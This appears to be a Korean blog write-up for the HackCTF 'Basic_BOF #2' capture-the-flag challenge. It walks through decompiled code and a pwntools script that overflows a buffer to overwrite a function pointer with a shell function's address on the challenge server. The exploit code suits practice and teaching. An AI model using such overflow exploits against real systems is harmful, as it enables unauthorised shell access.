Basic_BOF #2 풀이

2021. 6. 16. 00:05HackCTF

728x90

문제 정보

이 문제도 Basic_BOF #1와 같이 IDA로 먼저 보고 시작하겠습니다.

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-8Ch]
  void (*v5)(void); // [esp+8Ch] [ebp-Ch]

  v5 = (void (*)(void))sup;
  fgets(&s, 133, stdin);
  v5();
  return 0;
}

우선 char형 배열 s를 선언하고, 포인터 변수인 v5를 선언합니다.

여기서 s의 길이는 

여기서 v5는 sup이라는 함수(?)를 가리키고 있는 함수 포인터인 것 같습니다.

그리고 fgets로 133byte 길이의 s 배열을 입력받습니다.

마지막에는 v5 함수 포인터가 가리키고 있는 함수를 호출하고 main 함수는 종료됩니다.

 

이쯤에서 main 말고 다른 함수들을 조금 살펴보겠습니다.

 

- shell : shell을 띄워주는 함수

- sup : 문자열 s를 입력받는 함수

 

여기서 가장 관건인 변수는 아마도 v5인 것 같습니다.

v5가 sup를 가리키면 문자열을 입력받게 코딩되어있으니 shell을 가리키게 만들면 shell이 뜰 것 같습니다.

 

shell을 가리키게 만들려면 shell의 주소 값이 필요한데, 이는 info function 명령어를 사용하겠습니다.

 

shell의 주소값

이제 파이썬으로 코드를 짜보겠습니다.

 

from pwn import *

a=remote("ctf.j0n9hyun.xyz",3001)
b='a'*128+p32(0x0804849b)

a.sendline(b)
a.interactive()

컴파일+실행!

 

FLAG 획득 성공
문제 풀이 성공

 

728x90

'HackCTF' 카테고리의 다른 글

Simple_Overflow_ver_2 풀이  (0) 2021.07.14
x64 Simple_size_BOF 풀이  (0) 2021.07.13
내 버퍼가 흘러넘친다!!! 풀이  (0) 2021.07.12
x64 Buffer Overflow 풀이  (0) 2021.06.16
Basic_BOF #1 풀이  (0) 2021.06.15